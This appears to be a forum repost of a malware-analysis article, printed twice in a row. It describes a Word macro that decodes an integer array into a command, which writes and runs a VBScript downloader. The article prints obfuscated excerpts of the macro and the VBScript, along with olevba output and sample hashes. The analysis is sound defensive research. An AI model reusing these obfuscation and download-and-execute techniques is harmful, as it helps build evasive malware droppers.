-
-
在恶意软件的宏中插入8KB单个命令行
-
发表于: 2016-3-1 21:02 1829
-
新闻链接:http://www.freebuf.com/articles/network/97214.html
新闻时间:2016-03-01
新闻正文:
几天前,有人给我了一个奇怪的恶意宏样本,这个样本无法被在线的沙盒和普通工具检测到。
0×01 提取并分析宏
这个vbaProject.bin文件是从Word或者Excel2007+文档(.docm或xlsm)中提取出来的典型的包含宏的OLE文件。使用olevba或者oledump可以很简单的提取出宏的源代码。
olevba 0.42 - http://decalage.info/python/oletools
Flags Filename
----------- -----------------------------------------------------------------
OLE:MAS-HBDV 0d1228498210c576a3c0f70816d43c22e4539a170555eaf27f9ed37b6c3ae382.bin
(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, TXT=Text, M=Macros, A=Auto-executable,
S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
===============================================================================
FILE: 0d1228498210c576a3c0f70816d43c22e4539a170555eaf27f9ed37b6c3ae382.bin
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: 0d1228498210c576a3c0f70816d43c22e4539a170555eaf27f9ed37b6c3ae382.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Dim VoZoOxr6Mn(2034) As Long
Sub ThhoJh8NX()
DVZm8YVrQMiwo = RGB(57, 72, 52)
Join KwTfhyp, 32
BPo78vzethyYE = Cos(10)
Randomize
FreeFile 8
KkqgXNfZvN = Dir("CnK5tkVQz")
Choose 81, D9v2bgkWjrqDrfD0
[...]
If TumGFv7Hqd8 = 0 Then Exit Function
NSNhOVv50b = RGB(77, 46, 66)
Mu4XjE = TumGFv7Hqd8 - 1
JIHddd7uli8P0PIH = RGB(54, 93, 48)
End Function
+------------+----------------------+-----------------------------------------+
| Type | Keyword | Description |
+------------+----------------------+-----------------------------------------+
| AutoExec | Document_Open | Runs when the Word document is opened |
| Suspicious | Shell | May run an executable file or a system |
| | | command |
| Suspicious | Chr | May attempt to obfuscate specific |
| | | strings |
这个确实比较独特:宏的代码相当长,但是被olevba检测出可疑的命令是“shell”。
然而,一个典型的宏在执行它的shell前,需要向文件中写入payload。并且大部分情况下,需要从网上下载payload。
对代码进行分析后,发现也没有多余的命令去下载或者向磁盘中写入文件。
这就意味着,这个宏既没有释放payload从而通过shell命令去执行,也没有从网上下载payload或者其他应用程序/dll文件。
这个代码包含了2034个整型数组:
Dim VoZoOxr6Mn(2034) As Long
VoZoOxr6Mn(0) = 432433934
VoZoOxr6Mn(1) = 350786839
VoZoOxr6Mn(2) = -931457408
VoZoOxr6Mn(3) = 1263351013
VoZoOxr6Mn(4) = -934508713
VoZoOxr6Mn(5) = -1080386174
VoZoOxr6Mn(6) = -1982250533
VoZoOxr6Mn(7) = 643917765
[...]
VoZoOxr6Mn(2027) = 1872082481
VoZoOxr6Mn(2028) = -84289746
VoZoOxr6Mn(2029) = 228930248
VoZoOxr6Mn(2030) = -747395805
VoZoOxr6Mn(2031) = 905736327
VoZoOxr6Mn(2032) = 684154832
VoZoOxr6Mn(2033) = 740288
VoZoOxr6Mn(2034) = 0
更重要的是,一些函数通过解码算法可以将这些数组转化成字符串。并将其结果作为“shell”命令行的命令。
刚开始我尝试手动分析这些代码,分析出是如何将这些数组解码成实际的payload。但是这个太耗费时间了。
0×02 运行宏指令
后来我尝试将宏指令转化成VBScript,然后使用cscript.exe来运行。但是我发现代码使用了大量特殊的VBA解释器,而这些又不被VBScript支持。
于是我只好使用最后一个方法:我将这些宏指令导入Windows平台上一个空的Word文档中,然后将其粘贴至VB editor。
当然在没有被感染的情况下我还是无法执行代码。因此我将shell命令注释掉,用“Selection.TypeText”来替换它,采用相同的字符串变量作为参数,如下所示。这么做将会向Word文档中嵌入文本字符串,而不是执行命令。
在执行完宏之后,神秘的payload就会在word文档中出现:
[中间省略]
因此这个证实了第一个假设:这2034个整型(32bit)数组转化成8KB的字符串,这个字符串就是命令,最后被VBA的shell执行。
0×03 VBScript payload
这些命令调用cmd.exe进程处理一系列长长的双引号字符串。每个字符串作为一行添加到名字为“%appdata%\!TQJZEIfjEY0vjO!.vbs”的文件中。最终,VBScript文件被执行。
为了获得VBScript的代码,将命令拷贝至记事本中,将每个双引号用换行符来代替:
Dim Hn0VG8Jim,VSbjXB1Tb
Sub CFUmNNN5l()
M00rlg9loD=RGB(83,25,28)
On Error Resume Next
GTLwPQK72oc=RGB(56,27,14)
dim YdhC58CSw,S4xM6Wpkdj6D,W214qCaiT,UmenL52bDf
TI8WZPiK2i=RGB(75,30,67)
UmenL52bDf="OQDUQMXOh"
YCFFjOyYD=RGB(22,52,15)
YdhC58CSw=SeHoavimVzFK("5D3C0102521B60423F025C055D2C4727061D0E4061562718","O5Hurh4")
KvUeCMforHxs=RGB(21,30,56)
Set S4xM6Wpkdj6D=CrEaTeoBJEct(SeHoavimVzFK("1C2D3623222B200E3B7F1C181D050C1B38",UmenL52bDf))
MIgVQA=RGB(21,18,27)
S4xM6Wpkdj6D.OPen SeHoavimVzFK("150D2E","GRHzZoXg"),YdhC58CSw,0
Ugty62w=RGB(77,50,3)
S4xM6Wpkdj6D.sETreqUESThEadER SeHoavimVzFK("1F16341613","AMwZqvb3btB6P"),SeHoavimVzFK("00094332007C51421A","Abp7Ws")
HI8mQ5YcSR=RGB(35,89,98)
S4xM6Wpkdj6D.seNd()
W8tEI9rZq6HfsXOEj=RGB(12,23,15)
If S4xM6Wpkdj6D.STatUsText<>SeHoavimVzFK("3C5007260E221B45013B0245103C13","Tl1uRgCweB") Then KNC3TSAdM4WQx4G1
G5wuCfP7vda=RGB(10,14,76)
End Sub
[...]
Set BFxKNR=CReaTeoBJect(SeHoavimVzFK("102327283762363B0B5D5738",GoOVIULOEKamGtAZ))
EitKzH0Nuwg=RGB(24,75,19)
BFxKNR.OPen
U2OqQ3cjPxXD=RGB(44,89,79)
BFxKNR.TYpE=1
SxuTPuwwZ68O0in=RGB(15,41,61)
BFxKNR.Write CVAWAyYGiQ
EUBn1YwiceF=RGB(14,43,29)
BFxKNR.saveTOFILE Hn0VG8Jim,(0.5 + 807 + 0.5 - 807 + 0.5 + 807 + 0.5 - 807)
IbBRwzqI7UqO9JPb3=RGB(79,82,1)
BFxKNR.clOse
JxtY72rJ2OVT=RGB(22,29,35)
Se21YcvBiRU9OKH6(2)
PjpK6qckc=RGB(96,56,3)
VSbjXB1Tb=Hn0VG8Jim
JPLDZf6lJnt5T=RGB(24,63,45)
Hn0VG8Jim=Hn0VG8Jim & LCpqU9MOnkVtOl & SeHoavimVzFK("621F1515","SLzmp")
YNUoCl5R9=RGB(21,60,82)
Ya5kQ1Uf5rf VSbjXB1Tb,Hn0VG8Jim,SeHoavimVzFK("095B51546B00","Th92eY3Ha")
W1H46j8jP=RGB(46,77,58)
LOSKRvzUGjsz
Dctbq6sdzPJ=RGB(87,23,58)
End Sub
这个VBScript的脚本同样很迷乱,但是现在却比较容易分析。我会在随后的博客中将其转换一下。
0×04 相似的样本
这里使用我之前文章“How to find malware samples containing specific strings”中的自定义搜索引擎方法,就可以查找与宏代码中相似字符串的样本。例如,使用数组名“VoZoOxr6Mn”,我发现两个样本:
d3e1735b9257ab0a578b375f01303b541786da18b5971d7c146b65886543b666:显示具有相同宏源码,但是没有VBS payload.
95810b7ed825c4615256b9b72d03c9811c9c602d5bf4a405c2fc2b52d09ce8d9:相同的宏,但是这里存在命令行,VBS payload以及相应的行为分析。
因此采用这种搜索方法,我可以更快的找到相同的结果。
0×05 结论
这个包含宏的神秘文件,通过解码让人迷惑的整型数组来构造8KB的字符串。这个字符串实际上就是启动cmd.exe的命令,随后通过循环的方式一行一行构建VBScript文件,最终执行它。
同时还显示一个宏除了简单的”Shell”命令而不包括任何可疑的关键字,完全可以释放嵌入在宏中的Payload。
新闻时间:2016-03-01
新闻正文:
几天前,有人给我了一个奇怪的恶意宏样本,这个样本无法被在线的沙盒和普通工具检测到。
0×01 提取并分析宏
这个vbaProject.bin文件是从Word或者Excel2007+文档(.docm或xlsm)中提取出来的典型的包含宏的OLE文件。使用olevba或者oledump可以很简单的提取出宏的源代码。
olevba 0.42 - http://decalage.info/python/oletools
Flags Filename
----------- -----------------------------------------------------------------
OLE:MAS-HBDV 0d1228498210c576a3c0f70816d43c22e4539a170555eaf27f9ed37b6c3ae382.bin
(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, TXT=Text, M=Macros, A=Auto-executable,
S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
===============================================================================
FILE: 0d1228498210c576a3c0f70816d43c22e4539a170555eaf27f9ed37b6c3ae382.bin
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: 0d1228498210c576a3c0f70816d43c22e4539a170555eaf27f9ed37b6c3ae382.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Dim VoZoOxr6Mn(2034) As Long
Sub ThhoJh8NX()
DVZm8YVrQMiwo = RGB(57, 72, 52)
Join KwTfhyp, 32
BPo78vzethyYE = Cos(10)
Randomize
FreeFile 8
KkqgXNfZvN = Dir("CnK5tkVQz")
Choose 81, D9v2bgkWjrqDrfD0
[...]
If TumGFv7Hqd8 = 0 Then Exit Function
NSNhOVv50b = RGB(77, 46, 66)
Mu4XjE = TumGFv7Hqd8 - 1
JIHddd7uli8P0PIH = RGB(54, 93, 48)
End Function
+------------+----------------------+-----------------------------------------+
| Type | Keyword | Description |
+------------+----------------------+-----------------------------------------+
| AutoExec | Document_Open | Runs when the Word document is opened |
| Suspicious | Shell | May run an executable file or a system |
| | | command |
| Suspicious | Chr | May attempt to obfuscate specific |
| | | strings |
这个确实比较独特:宏的代码相当长,但是被olevba检测出可疑的命令是“shell”。
然而,一个典型的宏在执行它的shell前,需要向文件中写入payload。并且大部分情况下,需要从网上下载payload。
对代码进行分析后,发现也没有多余的命令去下载或者向磁盘中写入文件。
这就意味着,这个宏既没有释放payload从而通过shell命令去执行,也没有从网上下载payload或者其他应用程序/dll文件。
这个代码包含了2034个整型数组:
Dim VoZoOxr6Mn(2034) As Long
VoZoOxr6Mn(0) = 432433934
VoZoOxr6Mn(1) = 350786839
VoZoOxr6Mn(2) = -931457408
VoZoOxr6Mn(3) = 1263351013
VoZoOxr6Mn(4) = -934508713
VoZoOxr6Mn(5) = -1080386174
VoZoOxr6Mn(6) = -1982250533
VoZoOxr6Mn(7) = 643917765
[...]
VoZoOxr6Mn(2027) = 1872082481
VoZoOxr6Mn(2028) = -84289746
VoZoOxr6Mn(2029) = 228930248
VoZoOxr6Mn(2030) = -747395805
VoZoOxr6Mn(2031) = 905736327
VoZoOxr6Mn(2032) = 684154832
VoZoOxr6Mn(2033) = 740288
VoZoOxr6Mn(2034) = 0
更重要的是,一些函数通过解码算法可以将这些数组转化成字符串。并将其结果作为“shell”命令行的命令。
刚开始我尝试手动分析这些代码,分析出是如何将这些数组解码成实际的payload。但是这个太耗费时间了。
0×02 运行宏指令
后来我尝试将宏指令转化成VBScript,然后使用cscript.exe来运行。但是我发现代码使用了大量特殊的VBA解释器,而这些又不被VBScript支持。
于是我只好使用最后一个方法:我将这些宏指令导入Windows平台上一个空的Word文档中,然后将其粘贴至VB editor。
当然在没有被感染的情况下我还是无法执行代码。因此我将shell命令注释掉,用“Selection.TypeText”来替换它,采用相同的字符串变量作为参数,如下所示。这么做将会向Word文档中嵌入文本字符串,而不是执行命令。
在执行完宏之后,神秘的payload就会在word文档中出现:
[中间省略]
因此这个证实了第一个假设:这2034个整型(32bit)数组转化成8KB的字符串,这个字符串就是命令,最后被VBA的shell执行。
0×03 VBScript payload
这些命令调用cmd.exe进程处理一系列长长的双引号字符串。每个字符串作为一行添加到名字为“%appdata%\!TQJZEIfjEY0vjO!.vbs”的文件中。最终,VBScript文件被执行。
为了获得VBScript的代码,将命令拷贝至记事本中,将每个双引号用换行符来代替:
Dim Hn0VG8Jim,VSbjXB1Tb
Sub CFUmNNN5l()
M00rlg9loD=RGB(83,25,28)
On Error Resume Next
GTLwPQK72oc=RGB(56,27,14)
dim YdhC58CSw,S4xM6Wpkdj6D,W214qCaiT,UmenL52bDf
TI8WZPiK2i=RGB(75,30,67)
UmenL52bDf="OQDUQMXOh"
YCFFjOyYD=RGB(22,52,15)
YdhC58CSw=SeHoavimVzFK("5D3C0102521B60423F025C055D2C4727061D0E4061562718","O5Hurh4")
KvUeCMforHxs=RGB(21,30,56)
Set S4xM6Wpkdj6D=CrEaTeoBJEct(SeHoavimVzFK("1C2D3623222B200E3B7F1C181D050C1B38",UmenL52bDf))
MIgVQA=RGB(21,18,27)
S4xM6Wpkdj6D.OPen SeHoavimVzFK("150D2E","GRHzZoXg"),YdhC58CSw,0
Ugty62w=RGB(77,50,3)
S4xM6Wpkdj6D.sETreqUESThEadER SeHoavimVzFK("1F16341613","AMwZqvb3btB6P"),SeHoavimVzFK("00094332007C51421A","Abp7Ws")
HI8mQ5YcSR=RGB(35,89,98)
S4xM6Wpkdj6D.seNd()
W8tEI9rZq6HfsXOEj=RGB(12,23,15)
If S4xM6Wpkdj6D.STatUsText<>SeHoavimVzFK("3C5007260E221B45013B0245103C13","Tl1uRgCweB") Then KNC3TSAdM4WQx4G1
G5wuCfP7vda=RGB(10,14,76)
End Sub
[...]
Set BFxKNR=CReaTeoBJect(SeHoavimVzFK("102327283762363B0B5D5738",GoOVIULOEKamGtAZ))
EitKzH0Nuwg=RGB(24,75,19)
BFxKNR.OPen
U2OqQ3cjPxXD=RGB(44,89,79)
BFxKNR.TYpE=1
SxuTPuwwZ68O0in=RGB(15,41,61)
BFxKNR.Write CVAWAyYGiQ
EUBn1YwiceF=RGB(14,43,29)
BFxKNR.saveTOFILE Hn0VG8Jim,(0.5 + 807 + 0.5 - 807 + 0.5 + 807 + 0.5 - 807)
IbBRwzqI7UqO9JPb3=RGB(79,82,1)
BFxKNR.clOse
JxtY72rJ2OVT=RGB(22,29,35)
Se21YcvBiRU9OKH6(2)
PjpK6qckc=RGB(96,56,3)
VSbjXB1Tb=Hn0VG8Jim
JPLDZf6lJnt5T=RGB(24,63,45)
Hn0VG8Jim=Hn0VG8Jim & LCpqU9MOnkVtOl & SeHoavimVzFK("621F1515","SLzmp")
YNUoCl5R9=RGB(21,60,82)
Ya5kQ1Uf5rf VSbjXB1Tb,Hn0VG8Jim,SeHoavimVzFK("095B51546B00","Th92eY3Ha")
W1H46j8jP=RGB(46,77,58)
LOSKRvzUGjsz
Dctbq6sdzPJ=RGB(87,23,58)
End Sub
这个VBScript的脚本同样很迷乱,但是现在却比较容易分析。我会在随后的博客中将其转换一下。
0×04 相似的样本
这里使用我之前文章“How to find malware samples containing specific strings”中的自定义搜索引擎方法,就可以查找与宏代码中相似字符串的样本。例如,使用数组名“VoZoOxr6Mn”,我发现两个样本:
d3e1735b9257ab0a578b375f01303b541786da18b5971d7c146b65886543b666:显示具有相同宏源码,但是没有VBS payload.
95810b7ed825c4615256b9b72d03c9811c9c602d5bf4a405c2fc2b52d09ce8d9:相同的宏,但是这里存在命令行,VBS payload以及相应的行为分析。
因此采用这种搜索方法,我可以更快的找到相同的结果。
0×05 结论
这个包含宏的神秘文件,通过解码让人迷惑的整型数组来构造8KB的字符串。这个字符串实际上就是启动cmd.exe的命令,随后通过循环的方式一行一行构建VBScript文件,最终执行它。
同时还显示一个宏除了简单的”Shell”命令而不包括任何可疑的关键字,完全可以释放嵌入在宏中的Payload。
赞赏
看原图
赞赏
雪币:
留言: